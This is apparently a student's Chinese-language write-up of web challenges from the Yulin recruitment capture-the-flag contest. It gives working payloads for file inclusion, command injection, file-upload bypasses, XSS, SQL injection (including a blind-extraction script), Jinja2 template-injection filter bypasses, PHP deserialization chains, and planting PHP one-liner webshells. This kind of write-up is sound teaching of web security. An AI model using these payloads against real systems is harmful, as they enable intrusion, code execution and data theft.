御林招新赛WP
本文最后更新于 47 天前,其中的信息可能已经有所发展或是发生改变。

第1次写wp好激动

Basic

encode

读题发现4行字符大概率是不同的编码方式
找到相应方式后直接用在线解码
第二行的%表示这是Unicode

Sec{we_mu5t_kn0w

第三行是base64

_c0mm0n

第四行通过搜索发现是html entities

_enc0d1ngs}

虽然没有解码出第一行,但我们可以猜出是Yulin

Calc-1

第二题的网页让你计算6*11,但却只让你输入一个符号。
我们查看源代码,发现

    <input type="text" name="result" maxlength="1">

这一方代码限制了我们的输入
按F12打开开发人员工具,在元素中找到这行代码,将数字修改为2,然后就可以提交了。

Calc-2

经过观察源代码,在这道题中,使用了onsubmit来判断是否提交
本想直接修改,但无法加载到浏览器中
经过学习,使用源代码中的覆盖功能可以将本地代码加载到浏览器中
将判断函数的返回这修改为true即可。
还要把id改成name。但我不知道为什么
补充一下,提交666之前,要关闭覆写模式,不然会把flag覆盖了(

Calc-3

题目要求我们在2s内提交答案。
本来想的是写一个爬虫。
但是在提取到题目的数字,然后用post提交答案的时候,服务器重新给出了题目。
想了很久,最后在抓包网页提交时,发现有一个headers里有一个Set-Cookie。
在post请求的headers里加入了Cookie之后,果然拿到了flag。

Http

题目提了4个要求,get方法传入参数key1
post方法传入key2
在headers里设置referer为127.0.0.1
和Cookie为admin=1
在对headers和python脚本有了基础了解了之后
实现以上要求并不困难

302

用python脚本拦截重定向比较简单,直接在requests函数里设置allow_redirects=false就行

Method

题目提示http的method,经过查找,有9种方法
但我不知道用哪个,于是我用options请求,结果直接在返回的headers里找到了flag
我猜应该是使用任何get和post以外的请求方式都可以获得flag

Https

这道题我用的比前面所有加起来的时间还多

在无意义的翻查证书之后,我选择向管理求助(
在提示下,我把token前半段丢进搜索引擎,终于发现这是jwt的token
经过学习,我先尝试了None攻击,但没有
所以我不得不爆破密码,在和python脚本斗智斗勇4小时后
结果发现密码是admin

flag还嘲讽我这么简单的密钥都没想到

{"alg":"HS256","typ":"JWT"}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

{"admin":"1","iat":1727262496,"exp":1727279696,"jti":"91e37f014491bb56d90c3826e30ba661"}

eyJhZG1pbiI6IjEiLCJpYXQiOjE3MjcyNjI0OTYsImV4cCI6MTcyNzI3OTY5NiwianRpIjoiOTFlMzdmMDE0NDkxYmI1NmQ5MGMzODI2ZTMwYmE2NjEifQoK

Local File Inclusion

LFI-1

在网址后加上/?file=flag.php即可。

加上/flag.php会出现never gona give you up

LFI-2

根据提示,flag在当前目录的某个文件中。
经过学习和测试,该题可以使用php://input包含上传的文件。
但是如果使用默认的post上传,经过url编码

<?php system('ls');?>

会变成%3C%3F…
经过反复查找,发现post除了默认的键值对形式,还有文件形式和文本模式
在headers中添加了”Content-Type”:”text/plain”之后,成功获得了目录
经过观察发现这个文件flag_754297461.txt。
直接?file=flag_754297461.txt获得flag。

LFI-3

第三题php://input被ban了
但是找到一个类似的

?file=data://text/plain,<?php system('ls');?>

又找到了。

LFI-4

这道题flag不再是txt了,而是php文件,为了看到源码
我们要用php://filter/read=convert.base64-encode/resource=
这个伪协议可以先对源代码加密,然后再包含
这样我们只要用base64解码就可以得到flag了

LFI-5

这次题目没有include file,而是比较file的内容是不是’I want flag’
直接使用?file=data://text/plain,I want flag即可

LFI-6

这道题在包含文件时,没有后缀。再结合phpinfo.php无法包含,phpinfo可以包含
说明在包含前,会在路径后面加上.php。
虽然我们不能上传php,但我们可以把php压缩到zip文件
然后用phar://访问
但是在找到flag文件flag_381526347.txt后
我发现flag是.txt结尾,所以还要上传一个

<?php 
include('flag_381526347.txt');
?>

好麻烦,这就去学一句话木马

LFI-7

通过观察源码,发现如下语句

session_start();
$a=$_GET['a'];
$_SESSION["username"]=$a;

session函数会生成session文件在默认的路径下
这时,我们只要配置cookie如PHPSESSID=abc123
然后通过get方法设置a的值为
代码就会被写入sess文件
再包含sess_abc123文件,就可以得到当前目录下的文件了
最后直接包含找到的flag文件就可以了。

RCE

RCE-0

首先在127.0.0.1后面用|拼接ls命令
发现当前目录下没有flag
使用pwd显示当前的绝对路径

/var/www/html

使用ls /var/www/*递归查询该目录下所有文件
发现还是没有flag
直接查根目录显示不完所以|grep -r YulinSec /var查找
最后发现在|ls /根目录里(
然后使用cat /flag输出

RCE-1

这道题管道符连接符都被禁用了
于是考虑回车,但在浏览器里不好操作
可以通过python脚本实现

import requests
url="http://prob00-xxx.recruit.yulinsec.cn"
data1={
    "ip":"127.0.0.0\nls"
}
resp=requests.post(url,data=data1)
print(resp.text)

在脚本中可以写\n
实现了命令拼接

RCE-2

发现cat被ban了
先用find *确定flag在当前当前目录的flag.php
无法直接访问
经过测试cp命令没有被ban
于是cp flag.php flag.txt
然后在url里直接访问(

RCE-3

在经过了漫长的webshell木马写入尝试后
发现sort没有被禁用
所以
127.0.0.1|cd ..;cd ..;cd ..;cd ..;sort flag
所以为什么提示是webshell?

RCE_4

由于没有回显,所以我想生成一个一句话木马。
但是echo被ban了
然后发现有printf命令,而且没有ban

printf "%s"  "<?php @eval(\$_POST[1]);?>" >shell.php

所以成功了
用蚁剑连接后,在根目录找到了flag

File Upload

Upload-1

查看源代码,发现是前端判断文件类型
先上传写一个一句话木马,然后改成1.jpg
上传用burp suite拦截,然后把文件名改成1.php
成功之后用蚁剑连接,在根目录找到flag

Upload-2

.htaccess文件只对当前目录生效,修改后,立即生效
在文件中写入以下内容
AddType application/x-httpd-php .jpg .txt
这样服务器会把.jpg和.txt文件也当成php来解析
我们直接上传.jpg木马

Upload-3

用burp suite抓包,把content-type 改成image/jpeg就可以了

Upload-4

用二进制编辑软件在木马前加入FF D8 FF E0 00 10 4A(判断的还挺长)
当然还要注意content-type

Upload-5

通过阅读代码,会将所有黑名单里的字符删掉
所以我们可以用任意一个黑名单里的字符把php分隔开
如1.pphphp

Upload-6

根据提示查看资料得知,windows会自动把后缀转为小写
于是抓包,改成大写

Upload-7

首先抓包,然后在保存路径后加上/111.php
但是代码会在路径后面拼接一个/XXX.jpg这会导致保存失败
这时我们在111.php后面加上%00
虽然还是会拼接/XXX.jpg
但是在读取保存路径时,由于是c语言编写的,字符串中遇到%00会停止读取
最后就保存到111.php中了

Upload-8

这道题和上道题差不多,只不过保存路径是通过post获取的
所以我们只要修改路径为111.php,不过不能写%00,而是要通过hex替换成00

Upload-9

这道题直接没有过滤php3,php5等后缀,所以随便改一个上传就行

Upload-10

根据题目提示,我们先写一个大马如

然后我们上传后,立刻访问它
这是因为,服务器会先把文件保存到upload中然后再判断是否删除。
我们趁着这个机会访问
但是因为判断速度很快,所以我们要用burp suite反复上传,同时一直访问该文件
之后会生成小马,这时我们用蚁剑连接、

Upload-11

这道题是关于二次渲染的,只需要按照提示来
先选择一个gif图片,然后上传,下载渲染之后的文件
用二进制编辑文件比较异同,将木马插入到相同的片段中
再上传,就会被保留
接着注意到提示是用包含实现的,于是通过包含上传的图片实现shell连接

Upload-12

move_uploaded_file()

根据提示,该函数存在漏洞
经过查询,它会忽略/
因此,我们构造文件名1.php/.
成功绕过

Upload-13

首先我们阅读代码
代码第一步先判断MIME
然后判断save_name是否为空
如果不为空,将save_name的值赋给file
否则用原本的filename
接着检查file是不是数组,这一点很奇怪,因为正常是不会有数组的
如果不是数组,那么按’.’分割为数组
接着检查数组的最后一位是否在白名单
然后将数组的第一位和最后一位拼接作为保存路径
最后把文件移动到保存路径

经过阅读,我们发现判断后缀和拼接后缀时的实现逻辑不一样
第一个是end($file),第二个是$file[count($file) – 1]
结合上面判断是否是数组,这就产生了漏洞
如果一个数组只有第一位和最后一位有值,而其他都是null
那么end($file)会返回最后一位,而count($file)却会认为只有两项于是返回2
因此$file[count($file) – 1]会返回第二项,也就是$file[1]的值

这就给了我我们设计的空间,我们设计一个如下数组

$file[0]=1
$file[0]=null
$file[2]=php
$file[3]=jpg

这时,因为最后一项是jpg,可以通过检查
但count却只计算到3项,于是代码会将1和php通过’.’拼接产生漏洞

接下来抓包修改就行了

XSS

XSS-1

首先查看网页源代码,发现隐藏内容find the “name”
尝试get方法请求name=name
发现name添加到了欢迎用户后面,于是尝试添加js

<script>alert(1)</script> 

成功弹出弹窗

XSS-2

经过观察,有两个地方有payload
第一个在h2,而且<会被转义
所以我们考虑第二个input value里的
我们构造’使value提前闭合然后再写onclick属性

payload如下

‘ onclick=’alert(1)’

XSS-3

本题和上一题唯一的区别是单引号变成双引号(可能还有value里的尖括号被删了,但我没有用)

” onclick=’alert(1)’+”

XSS-4

这道题会把on替换成o_n,script替换成sc_ript
所以我换成如下payload

"> <a href="javascript:alert(1)">link</a>

XSS-5

这道题会把on,script,href等删除
所以双写绕过

"><scronipt>alert(1)</scronipt> 

XSS-6

第六题是添加链接
但是会插入空格
所以我把s编码了

java&#115;cript:alert(1)

XSS-7

这道题没有输入框
通过源代码发现有三个隐藏input,经过测试t_sort会将payload插入
但是这个输入时隐藏的,所以考虑改type绕过

"+type%3Dimage+src+onerror%3D%27alert%281%29%27
" type=image src onerror='alert(1)'

SQL Injection

SQLi-1

首先判断列数,然后判断显示哪些列
接着找到库名,表名,列名
最后查询数据
限制输出个数可以用group_concat,也可以用limit i,1来访问第i个数据

?id=-1 order by 3

?id=-1 union select 1,2,3

?id=-1 union select null,database(),null

?id=-1 union select null,table_name,null from information_schema.tables where table_schema='' limit 0,1 -- q
or ?id=-1 union select null,group_concat(table_name),null from information_schema.tables where table_schema=''

?id=-1 union select null,column_name,null from information_schema.columns where table_schema='' and table_name='' limit 0,1 -- q
or ?id=-1 union select null,group_concat(column_name),null from information_schema.columns where table_schema='' and table_name=''

?id=-1 union select null,flag,null from flag

SQLi-2

利用xml修改语句的报错,显示查询内容
由于报错显示长度有限,用limit会更好

?id=-1 and updatexml(1,concat(0x7e,(),0x7e),1)
database()
select table_name from information_schema.tables where table_schema='' limit i,1
select column_name from information_schema.columns where table_schema='' and table_name='' limit i,1
select substring(flag,15,40) from security.flag

但是flag太长了,所要用SELECT SUBSTRING

SQLi-3

利用and xx>xx返回的信息,二分判断每一位,脚本如下

import requests
import re
database="security"
table_name="flag"
checktable="select table_name from information_schema.tables where table_schema='"+database+"' limit 3,1"
checkculumn="select column_name from information_schema.columns where table_schema='"+database+"' and table_name='"+table_name+"' limit 1,1"
getflag="select flag from "+table_name
bit=1<<7
length=0
while bit:
    payload ="?id=1 and (length(("+getflag+")))>"+str((length|bit)-1)
    url="http://prob00-012.recruit.yulinsec.cn/"+payload
    resp=requests.get(url)
    if re.search("OK",resp.text):
        length|=bit
    bit>>=1
    print(bit)
print(length)
ans=""
for i in range(length):
    bit=1<<7
    ansbit=0
    print(i+1,end=":",flush=True)
    while bit:
        payload ="?id=1 and ascii(substr(("+getflag+"),"+str(i+1)+","+str(i+1)+"))>"+str((ansbit|bit)-1)
        url="http://prob00-012.recruit.yulinsec.cn/"+payload
        resp=requests.get(url)
        if re.search("OK",resp.text):
            ansbit|=bit
        bit>>=1
        print(bit,end=" ",flush=True)
    ans+=chr(ansbit)
    print(chr(ansbit))
print(ans)

SQLi-4

延时盲注和上一道题区别不大,只需要改一下判断语句

if(ascii(...)>xx,sleep(1),1)

resp=requests.get(url)
if re.search("OK",resp.text):
    ansbit|=bit

--->

start_time=time.time()
resp=requests.get(url)
resp_time=time.time()-start_time
if(resp_time>1.5):
    ansbit=63  #'?'
    break
if resp_time>0.5:
    ansbit|=bit

不过由于网络波动,有时会出现误判(大概50个字符会错3个),因此对该位置问号,多跑几遍

SQLi-5

过滤了空格和union,select等关键词
用/**/绕过空格,用大写绕过关键词
但是发现没有响应
在id=1后加”后,得到报错

“)) LIMIT 0,1

考虑提前闭合,但由于空格过滤,后面没法注释,于是后面也构造闭合

?id=-1"))Union/**/Select/**/1,(Select/**/flag/**/from/**/security.flag),3||(("1

SQLi-6

使用into outfile语句将一句话木马写入文件,可以将木马转成16进制

?id=-1 union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile '/app/public/shell-394.php'

SQLi-7

第七题让用post提交,用了和第一题一样的payload,直接返回了flag(这真的是预期解吗?

SQLi-8

这道题在”前加上%df%5c

%5c是\被认为是转义字符,但%df%5c在GBK编码下被认为是汉字,所以引号被留在外面

SSTI

SSTI-1

根据教程,先从[],()等出发,用__base__或者__mor__方法获取父类直到object
然后查询object的子类,主要是os模块
但是该题的popen没有加载,所以用[‘__builtins__’]的eval加载os模块然后再调用popen执行命令

SSTI-2

将{{}}换成{%%},{%%}里装的是控制语句(如循环,条件,也可以是赋值)我们可以用print()把原来的payload包起来达到和之前一样的效果

SSTI-3

该题过滤了[],所以用__getitem__()绕过

SSTI-4

应对下划线过滤,用[request.args.class]替代所有有下划线的,并将它们放到get参数里

SSTI-5

引号被过滤,用[request.form.popen]替代所有有下划线的,并将它们放到post参数里

SSTI-6

使用jinja2原生函数|attr(“”)代替点

SSTI-7

该题过滤了关键词,要绕过首先用[]将魔术方法转换为字符串,然后用+分割后连接如

{{[]['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[127]['__in'+'it__']['__glob'+'als__']['po'+'pen']('cat /flag').read()}}

SSTI-8&9

因为这两道题主要过滤的都是点’.’下划线’_’单双引号’\”,'”‘中括号'[‘,’]’
只要这两个能够绕过,其他的可以顺便一起绕过了
所以我用同一个payload过了这两道题
首先,由于没有单双引号,我们用dict方法获得字符串
然后用length或者count获得数字

{%set two=dict(aa=a)|join|count%}
{%set three=dict(aaa=a)|join|count%}
{%set seven=dict(aaaaaaa=a)|join|count%}
{%set ten=dict(aaaaaaaaaa=a)|join|count%}

接着我们用-和*获得所有需要的数字

{%set twentyseven=three*three*three%}
{%set fortyseven=seven*seven-two%}
{%set onehundredandtwentyseven=ten*two*seven-ten-three%}

为了绕过下划线,同时由于dict里不能有空格,所以我们用{}|select()|string中的字符获取到空格和下划线(由于现在还没有获取到下划线,所以不能用getitem,只能用pop)

{%set pop=dict(pop=a)|join%}
{%set xhx=({}|select()|string|list)|attr(pop)(twentyseven)%}
{%set kg=({}|select()|string|list)|attr(pop)(ten)%}

然后继续用dict获取所有需要的字符串(顺便把class和init绕过了)

{%set cla=(xhx,xhx,dict(cla=a,ss=a)|join,xhx,xhx)|join%}
{%set base=(xhx,xhx,dict(base=a)|join,xhx,xhx)|join%}
{%set subcla=(xhx,xhx,dict(subcla=a,sses=a)|join,xhx,xhx)|join%}
{%set ini=(xhx,xhx,dict(in=a,it=a)|join,xhx,xhx)|join%}
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}
{%set builtins=(xhx,xhx,dict(builtins=a)|join,xhx,xhx)|join%}
{%set os=dict(os=a)|join%}
{%set popen=dict(popen=a)|join%}
{%set read=dict(read=a)|join%}
{%set chr=dict(chr=a)|join%}

同样由于dict里不能有’/’所以我们要用chr来获取,先获取chr,主要用attr代替点,attr加getitem代替中括号(这时我们已经获取了下划线,所以可以用)

{%set chr=()|attr(cla)|attr(base)|attr(subcla)()|attr(getitem)(onehundredandtwentyseven)|attr(ini)|attr(globals)|attr(getitem)(builtins)|attr(getitem)(chr)%}

现在可以拼接命’cat /flag’命令了(chr(47)=’/’)

{%set cmd=(dict(cat=a)|join,kg,chr(fortyseven),dict(flag=a)|join)|join%}

最后,利用以上的各种字符串,和attr拼接最后的payload

{{()|attr(cla)|attr(base)|attr(subcla)()|attr(getitem)(onehundredandtwentyseven)|attr(ini)|attr(globals)|attr(getitem)(popen)(cmd)|attr(read)()}}

Babyunserialize

🌈🥚

🌈🥚

(经过数小时的学习)可以看出,这算是一道基础的pop链构造
观察源代码,先从反向,要调用system,需将YULIN的实例当成函数调用
而只有C类的want()是函数调用,所以要把YULIN的实例赋值给C类的manba属性
接着从正向,反序列化只会调用F类中的__destruct,当然还有YULIN的wakeup,所以一会儿还得绕过
之后,我们发现有一个string的类型转化,如果我们将T赋值给F的user,就会执行tostring
而执行c的get的条件是调用不存在的属性,这里刚好满足
以下是生成poc的代码
注意,生成了之后,编码之前,要把yulin后面的成员数量改成2,这样可以绕过wakeup

<?php 
class C
{
    public $manba;
}
class YULIN
{
    public $cmd="cat flag.php";
}
class T
{
    public $sth;
}
class F
{
    public $user;
}
$yulin=new YULIN();
$f=new F();
$t=new T();
$c=new C();
$c->manba=$yulin;
$t->sth=$c;
$f->user=$t;
echo serialize($f);
echo "<br>";
echo base64_encode(serialize($f));
?> 

这分别是ls和cat flag.php的payload

TzoxOiJGIjoxOntzOjQ6InVzZXIiO086MToiVCI6MTp7czozOiJzdGgiO086MToiQyI6MTp7czo1OiJtYW5iYSI7Tzo1OiJZVUxJTiI6Mjp7czozOiJjbWQiO3M6MjoibHMiO319fX0=
TzoxOiJGIjoxOntzOjQ6InVzZXIiO086MToiVCI6MTp7czozOiJzdGgiO086MToiQyI6MTp7czo1OiJtYW5iYSI7Tzo1OiJZVUxJTiI6Mjp7czozOiJjbWQiO3M6MTI6ImNhdCBmbGFnLnBocCI7fX19fQ==

Backdo0r

flag1

打开蚁剑,输入url后面跟index.php
输入密码yulin,连接即可

flag2

将eval($_POST[a]);进行base64编码,然后在http body中添加name:yulin,value:ZXZhbCgkX1BPU1RbYV0pOw==
同时将连接密码改成a,这样就会执行eval($_POST[a]);然后读取a的命令

flag3

直接使用虚拟终端,发现无法执行,经过查看,disable了很多函数
所以下载一个插件,绕过disable_function,还可以绕过open_basedir
直接cd到根目录,然后执行./getflag

骑士之梦

在js文件夹中找到player.js
搜索score,找到了addscore函数,然后把倍率改成1000(
过了(

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇